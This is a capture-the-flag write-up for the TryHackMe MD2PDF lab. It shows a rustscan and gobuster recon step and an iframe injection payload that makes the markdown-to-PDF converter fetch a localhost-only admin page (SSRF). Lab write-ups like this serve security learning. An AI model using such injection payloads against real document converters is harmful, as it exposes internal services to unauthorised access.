# THM WriteUP | MD2PDF

# Intro

Hello ethical hackers! Today we are going to pass the [MD2PDF room](https://tryhackme.com/room/md2pdf) on [TryHackMe](https://tryhackme.com/). This lab has tags: SSRF, XSS, MarkDown, PDF.

# Recon

For no need to enter IP again and again. I exported IP like a variable in current bash shell.

```bash
export IP=*.*.*.*
```

Then i scan the host with [rustscan](https://github.com/RustScan/RustScan).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676462463604/14bedc5b-741f-472e-bfe9-c3ce98e37085.png align="center")

We find ssh and http. Go to web:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676462702596/412c8f7e-dc82-4aa8-bde6-c76e42cba0ba.png align="center")

We see the simplest md to pdf converter. Let's test him. While testing run gobuster to dirsearching.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676464204789/c386d6f0-6e4f-4d0b-9cea-962d08b0a8d0.png align="center")

```bash
gobuster dir -u "http://$IP/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -t 50
```

## Found something interesting

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676463245015/4e089c13-5950-4a60-a5a7-c79d1035e2bb.png align="center")

We really don't have access to `admin/`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676463300137/70bb85d0-6891-4a6d-a096-7e0a9bce3ae0.png align="center")

If we analyze the error, we see that we need to make a request from localhost:5000.

# Exploitation

Back to MD editor, try to exploit iframe injection:

```javascript
<iframe src="http://localhost:5000/admin"></iframe>
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1676463733736/4c72341a-0e09-4750-8868-1490908ea3f4.png align="center")

## Rooted!